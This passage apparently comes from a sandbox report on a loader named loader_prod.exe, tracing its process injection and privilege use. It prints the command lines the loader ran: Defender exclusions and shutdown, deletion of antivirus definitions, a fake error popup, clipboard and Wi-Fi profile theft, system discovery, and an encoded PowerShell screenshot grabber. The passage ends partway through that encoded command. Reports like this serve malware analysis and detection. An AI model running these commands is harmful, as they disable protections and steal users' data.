N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A
N/A N/A C:\Windows\Resources\Themes\icsys.icn.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A \??\c:\windows\resources\themes\explorer.exe N/A
N/A N/A \??\c:\windows\resources\svchost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1768 wrote to memory of 3764 N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe \??\c:\users\admin\appdata\local\temp\loader_prod.exe 
PID 1768 wrote to memory of 3764 N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe \??\c:\users\admin\appdata\local\temp\loader_prod.exe 
PID 3764 wrote to memory of 2840 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  \??\c:\users\admin\appdata\local\temp\loader_prod.exe 
PID 3764 wrote to memory of 2840 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  \??\c:\users\admin\appdata\local\temp\loader_prod.exe 
PID 2840 wrote to memory of 5004 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 5004 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 4448 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 4448 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 2932 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 2932 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 5004 wrote to memory of 3144 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5004 wrote to memory of 3144 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4448 wrote to memory of 2228 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4448 wrote to memory of 2228 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2932 wrote to memory of 4484 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 2932 wrote to memory of 4484 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 2840 wrote to memory of 4316 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 4316 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 4316 wrote to memory of 2580 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4316 wrote to memory of 2580 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2840 wrote to memory of 4012 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 4012 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 1052 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 1052 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 2340 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 2340 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 4416 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 4416 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 5052 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 5052 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 4012 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4012 wrote to memory of 2756 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2840 wrote to memory of 4160 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 4160 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 508 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 508 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2340 wrote to memory of 1920 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2340 wrote to memory of 1920 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1052 wrote to memory of 2568 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1052 wrote to memory of 2568 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4160 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 4160 wrote to memory of 1708 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 4416 wrote to memory of 2564 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4416 wrote to memory of 2564 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 5052 wrote to memory of 4032 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 5052 wrote to memory of 4032 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 508 wrote to memory of 2576 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 508 wrote to memory of 2576 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2840 wrote to memory of 3116 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\System32\Conhost.exe
PID 2840 wrote to memory of 3116 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\System32\Conhost.exe
PID 3116 wrote to memory of 4704 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 3116 wrote to memory of 4704 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 2840 wrote to memory of 3644 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 3644 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 4448 wrote to memory of 3724 N/A C:\Windows\system32\cmd.exe C:\Program Files\Windows Defender\MpCmdRun.exe
PID 4448 wrote to memory of 3724 N/A C:\Windows\system32\cmd.exe C:\Program Files\Windows Defender\MpCmdRun.exe
PID 3644 wrote to memory of 3972 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3644 wrote to memory of 3972 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2840 wrote to memory of 3760 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 3760 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 3760 wrote to memory of 504 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3760 wrote to memory of 504 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 2840 wrote to memory of 3616 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe
PID 2840 wrote to memory of 3616 N/A \??\c:\users\admin\appdata\local\temp\loader_prod.exe  C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\loader_prod.exe

"C:\Users\Admin\AppData\Local\Temp\loader_prod.exe"

\??\c:\users\admin\appdata\local\temp\loader_prod.exe 

c:\users\admin\appdata\local\temp\loader_prod.exe 

\??\c:\users\admin\appdata\local\temp\loader_prod.exe 

c:\users\admin\appdata\local\temp\loader_prod.exe 

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\loader_prod.exe '"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error 4562', 0, 'Error 4562', 32+16);close()""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\loader_prod.exe '

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\mshta.exe

mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Error 4562', 0, 'Error 4562', 32+16);close()"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgAC